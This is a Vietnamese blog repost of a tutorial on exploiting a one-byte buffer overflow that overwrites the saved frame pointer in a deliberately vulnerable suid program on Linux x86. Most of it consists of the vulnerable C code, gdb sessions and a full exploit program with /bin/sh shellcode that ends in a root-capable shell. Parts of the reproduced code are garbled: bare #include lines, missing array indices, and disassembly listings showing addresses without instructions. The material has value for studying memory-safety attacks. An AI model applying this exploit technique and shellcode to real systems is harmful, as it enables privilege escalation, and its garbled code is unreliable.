Bài viết này đối với jimmy rất quý giá . nó giúp Jimmy có cách nhin bao quát hơn về hệ thống về tấn công DDos. nhưng cũng còn một số vấn đề chưa nắm rõ . nên jimmy post lên blog để hy vọng rằng có một dịp nào đó cùng "các anh chị em trong giới CNTT và các bạn yêu thích tìm hiểu về CNTT" trao đổi nhằm nâng cao hiều biết . rất mong được đông đảo pà con tham gia
thân... !
thân... !
Bộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quan trọng lưu trên vùng nhớ của tiến trình và từ đó chúng ta có thể đổi hướng thực thi của nó. Điều này không có gì mới. Bài viết này không đề cập nhiều đến việc làm thế nào để khai thác lỗi tràn bộ đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ có thể bị làm tràn bởi một byte. Có nhiều kỹ thuật kỳ bí với mục đích khai thác các tiến trình có đặc quyền trong những tình huống khó khăn nhất, kể cả khi đặc quyền của tiến trình đã bị tước bỏ. Chúng ta sẽ chỉ đề cập đến tràn bộ đệm một byte trong bài viết này.
Mục tiêu tấn công
Hãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên là "suid".
Chương trình sẽ được viết sao cho bị tràn bộ đệm chỉ một byte duy nhất.
ipdev:~/tests$ cat > suid.c
#include
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer=sm;
}
main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}
func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
Như đã thấy, chúng ta không có nhiều khoảng trống để khai thác chương trình này. Thực sự là tràn bộ đệm cũng chỉ bị gây ra bởi một byte vượt ngoài kích thước vùng lưu trữ của bộ đệm. Chúng ta sẽ phải sử dụng byte này một cách thật khéo léo. Trước khi khai thác lỗi, chúng ta nên xem qua byte này sẽ thực sự ghi đè lên những gì (bạn có thể đã biết điều đó). Hãy tập hợp những thông tin trên stack bằng gdb vào lúc tràn bộ đệm xảy ra.
ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134
0x8048135
0x8048137
0x804813d
0x804813e
0x8048148
0x8048152
0x8048154
0x8048156
0x8048158
0x804815e
0x8048160
0x8048166
0x8048169
0x804816f
0x8048171
0x8048173
0x8048179
0x804817b
0x804817c
0x804817e
0x804817f
End of assembler dump.
(gdb)
Chúng ta đã biết, bộ xử lý (processor) sẽ push %eip lên stack trước tiên ngay khi thực hiện chỉ thị CALL. Tiếp theo, chương trình sẽ push %ebp lên kế đó như đã thấy ở địa chỉ *0x8048134. Cuối cùng, nó sẽ kích hoạt bản ghi cục bộ (local frame) bằng cách giảm %esp đi 0x104 (260) byte. Điều này có nghĩa các biến cục bộ sẽ có độ lớn 0x104 byte (0x100 cho biến chuỗi và 0x004 cho biến integer). Lưu ý rằng các biến lưu trên stack theo đơn vị word có độ dài 4 byte, vì vậy bộ đệm 255 byte sẽ thực sự chiếm vùng lưu trữ 256 byte. Bây giờ chúng ta sẽ xem nội dung stack có gì trước khi tràn bộ đệm xảy ra:
saved_eip
saved_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i
Điều này có nghĩa byte bị làm tràn sẽ ghi đè lên giá trị con trỏ frame bảo lưu (saved frame pointer) đã được push lên stack ở đầu hàm func(). Nhưng làm thế nào byte này có thể được dùng để đổi hướng thực thi của chương trình? Hãy xem điều gì xảy ra với bản lưu của %ebp. Chúng ta đã biết rằng nó sẽ được phục hồi giá trị ở cuối hàm func(), như đã thấy ở địa chỉ *0x804817e. Những tiếp theo sẽ là gì?
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180
0x8048181
0x8048183
0x8048187
0x8048189
0x804818e
0x8048193
0x8048196
0x8048198
0x804819d
0x80481a0
0x80481a3
0x80481a6
0x80481a8
0x80481a9
0x80481ae
0x80481b1
0x80481b3
0x80481b4
0x80481b5
0x80481b6
0x80481b7
End of assembler dump.
(gdb)
Tuyệt vời! Sau khi hàm func() được gọi, ở cuối hàm main(), %ebp sẽ được phục hồi giá trị vào %esp, như đã thấy ở địa chỉ *0x80481b1. Điều này có nghĩa chúng ta có thể đặt vào %esp một giá trị tuỳ ý. Nhưng nhớ rằng, giá trị tuỳ ý này không "thực sự" là tuỳ ý vì bạn chỉ có thể thay đổi một byte cuối cùng của %esp. Hãy kiểm tra xem chúng ta có đúng không.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180
0x8048181
0x8048183
0x8048187
0x8048189
0x804818e
0x8048193
0x8048196
0x8048198
0x804819d
0x80481a0
0x80481a3
0x80481a6
0x80481a8
0x80481a9
0x80481ae
0x80481b1
0x80481b3
0x80481b4
0x80481b5
0x80481b6
0x80481b7
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
Chúng ta đã đúng. Sau khi làm tràn bộ đệm bằng một ký tự 'A' (0x41), giá
trị %ebp được chuyển vào %esp, và được tăng lên thêm 4 vì %ebp được pop ra
khỏi stack ngay trước chỉ thị RET. Điều này cho ta kết quả 0xbffffd41 + 0x4
= 0xbffffd45.
Chuẩn bị
Thay đổi con trỏ stack sẽ cho chúng ta điều gì? Chúng ta không thể thay đổi giá trị của thanh ghi con trỏ bảo lưu (saved %eip) một cách trực tiếp giống như trong các khai thác lỗi tràn bộ đệm kinh điển, nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị của nó trỏ đến nơi khác. Khi bộ xử lý trở về (return) tự một thủ tục, nó chỉ pop giá trị word đầu tiên trên stack, xem nó là giá trị %eip cũ. Nhưng nếu chúng ta thay đổi giá trị của %esp, chúng ta có thể khiến bộ xử lý pop một giá trị bất kỳ trên stack và xem đó như là %eip, và vì thế đổi hướng thực thi của chương trình. Hãy làm tràn bộ đệm với chuỗi có dạng sau:
[nops][shellcode][&shellcode][%ebp_altering_byte]
Để làm được điều này, trước chúng ta nên xác định giá trị mà chúng ta muốn thay đổi %ebp thành (từ đó thay đổi %esp). Hãy xem nội dung trên stack có gì khi tràn bộ đệm xảy ra:
saved_eip
saved_ebp (altered by 1 byte)
&shellcode \
shellcode | char buffer
nops /
int i
Ở đây, chúng ta muốn %esp trỏ đến &shellcode để địa chỉ của shellcode sẽ được pop vào %eip khi bộ xử lý trở về từ hàm main(). Bây giờ chúng ta đã có đầy đủ những kiến thức cần thiết để khai thác chương trình bị lỗi, chúng ta cần trích thông tin chính xác từ tiến trình đang thực thi trong ngữ cảnh nó sẽ xảy ra khi bị khai thác. Thông tin này gồm địa chỉ của bộ đệm bị làm tràn và địa chỉ của con trỏ đến bộ đệm của chúng ta (&shellcode). Hãy chạy chương trình như thể chúng ta muốn nó bị làm tràn bởi chuỗi nhập có chiều dài 257 byte. Để làm được điều này, chúng ta phải viết một chương trình khai thác giả để tái tạo ngữ cảnh mà chúng ta sẽ tiến hành khai thác tiến
trình bị lỗi.
(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include
#include
main()
{
int i;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134
0x8048135
0x8048137
0x804813d
0x804813e
0x8048148
0x8048152
0x8048154
0x8048156
0x8048158
0x804815e
0x8048160
0x8048166
0x8048169
0x804816f
0x8048171
0x8048173
0x8048179
0x804817b
0x804817c
0x804817e
0x804817f
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
Bây giờ chúng ta đã có giá trị của %esp ngay sau khi bản ghi của hàm func() được kích hoạt. Từ giá trị này chúng ta có thể dự đoán bộ đệm của chúng ta sẽ được cấp phát ở địa chỉ 0xbffffc60 + 0x04 (size of 'int i') =0xbffffc64, và con trỏ đến vùng shellcode của chúng ta sẽ được đặt ở địa chỉ 0xbffffc64 + 0x100 (size of 'char buffer[256]') - 0x04 (size of our pointer) = 0xbffffd60.
Viết chương trình tấn công
Có những giá trị này sẽ cho phép chúng ta viết phiên bản đầy đủ của chương trình khai thác lỗi, có cả shellcode, con trỏ đến shellcode và giá trị byte bị ghi đè. Giá trị chúng ta cần ghi đè lên byte cuối cùng của %ebp bảo lưu sẽ là 0x60 - 0x04 = 0x5c, vì nhớ lại rằng chúng ta sẽ pop %ebp ngay trước khi trở về từ hàm main(). 4 byte này sẽ bù cho giá trị %ebp đã bị lấy ra khỏi stack. Đối với con trỏ đến vùng shellcode của chúng ta, chúng ta không cần nó phải trỏ đến địa chỉ chính xác. Tất cả những gì chúng ta cần là khiến bộ xử lý trở về địa chỉ vào khoảng giữa các chỉ thị NOP ở phần đầu của bộ đệm bị làm tràn (0xbffffc64) và shellcode của chúng ta (0xbffffc64 -
sizeof(shellcode)), giống như khi thực hiện tràn bộ đệm thông thường. Chẳng hạn ta sử dụng địa chỉ 0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include
#include
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer = sc_linux[j];
}
buffer[i++] = 0x74; /* Address of our buffer */
buffer[i++] = 0xfc;
buffer[i++] = 0xff;
buffer[i++] = 0xbf;
buffer[i++] = 0x5c;
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
Tuyệt! Hãy xem xét kỹ hơn điều gì đã xảy ra. Mặc dù chúng ta đã xây dựng chương trình khai thác lỗi dựa trên lý thuyết tôi đã trình bày ở đây, sẽ rất thú vị nếu chúng ta xem xét tất cả mọi thứ đã gắn kết lại với nhau như thế nào. Bạn có thể không cần đọc đoạn này nếu bạn hiểu rõ tất cả những gì đã giải thích ở trên, và có thể bắt đầu tìm kiếm những lỗ hổng trong thực tế.
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
Trước tiên hãy đặt vài điểm dừng (breakpoint) để theo dõi quá trình khai thác lỗi chương trình "suid" một cách kỹ lưỡng những gì diễn ra. Chúng ta sẽ lần theo giá trị chúng ta đã ghi đè lên con trỏ frame cho đến khi đoạn shellcode của chúng ta được thực thi.
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134
0x8048135
0x8048137
0x804813d
0x804813e
0x8048148
0x8048152
0x8048154
0x8048156
0x8048158
0x804815e
0x8048160
0x8048166
0x8048169
0x804816f
0x8048171
0x8048173
0x8048179
0x804817b
0x804817c
0x804817e
0x804817f
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
Điểm dừng đầu tiên cho phép chúng ta theo dõi nội dung của %ebp trước và sau khi bị pop ra khỏi stack. Những giá trị này sẽ tương ứng với giá trị nguyên thuỷ và giá trị đã bị ghi đè.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180
0x8048181
0x8048183
0x8048187
0x8048189
0x804818e
0x8048193
0x8048196
0x8048198
0x804819d
0x80481a0
0x80481a3
0x80481a6
0x80481a8
0x80481a9
0x80481ae
0x80481b1
0x80481b3
0x80481b4
0x80481b5
0x80481b6
0x80481b7
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
Ở đây chúng ta muốn theo dõi việc truyền giá trị %ebp đã bị ghi đè sang cho %esp và nội dung của %esp cho đến khi việc trở về từ hàm main() xảy ra. Hãy bắt đầu chạy chương trình.
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
(gdb)
Đầu tiên, chúng ta thấy giá trị nguyên thuỷ của %ebp. Sau khi được pop ra khỏi stack, chúng ta có thể thấy nó đã bị thay thế bởi giá trị bị ghi đè bởi byte cuối cùng của chuỗi nhập dùng làm tràn, 0x5c. Sau đó, giá trị %ebp được chuyển sang %esp, và cuối cùng, sau khi %ebp đã được pop ra khỏi stack một lần nữa, giá trị %esp được tăng thêm 4 byte. Cho ta giá trị cuối cùng là 0xbffffd60. Hãy xem có gì ở địa chỉ đó.
(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)
Như có thể thấy 0xbffffd60 thực sự là địa chỉ của con trỏ trỏ đến đoạn giữa các NOP ngay trước đoạn shellcode của chúng ta. Khi bộ xử lý trở về từ hàm main(), nó sẽ pop giá trị này vào %eip và nhảy đến chính xác địa chỉ 0xbffffc74. Lúc này shellcode của chúng ta sẽ được thực thi.
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$
Kết luận
Mặc dù kỹ thuật này khá thú vị, vẫn còn một số vấn đề chưa được giải quyết.Đổi hướng thực thi của một chương trình với chỉ một byte duy nhất của dữ liệu bị làm tràn chắc chắn là có thể làm được, nhưng với những điều kiện nào? Một vấn đề thực tế, tái tạo ngữ cảnh khai thác lỗi có thể là một công việc khó khăn trong một môi trường được bảo vệ hay tệ hơn là phải thực hiện trên máy từ xa. Chúnng đòi hỏi ta cần phải đoán chính xác kích thước stack của tiến trình muốn tấn công. Để giải quyết vấn đền này chúng ta thêm những gì cần thiết cho bộ đệm làm tràn của chúng ta ngay kế giá trị con trỏ nền bảo lưu, nghĩa là nó phải là biến được khai báo đầu tiên trong hàm. Không
cần phải nói, sẽ cần phải lưu ý đến các giá trị đệm (padding). Và làm thế nào để tấn công trên các kiến trúc "big endian"? Chúng ta không thể có khả năng làm gì khi chỉ có thể ghi đè lên byte lớn nhất của con trỏ frame, trừ phi chúng ta có thể với được đến địa chỉ đã bị thay đổi.
Kết luận nghe có vẻ bi đát từ tình huống gần như không thể khai thác được này. Mặc dù tôi sẽ rất ngạc nhiên khi nghe có ai đó đã áp dụng kỹ thuật này vào lỗi trong thực tế, có một điều chắc chắn đối với chúng ta rằng không có vấn đề bộ đệm bị tràn nhỏ hay lớn cũng như không có chuyện lỗ hổng nhỏ hay lớn. Mọi lỗ hổng đều có thể khai thác được, tất cả những gì bạn cần là phải tìm ra cách làm như thế nào.
Sưu Tầm
reflink: http://my.opera.com/quocky711/blog/lam-tran-bo-dem-bang-1-byte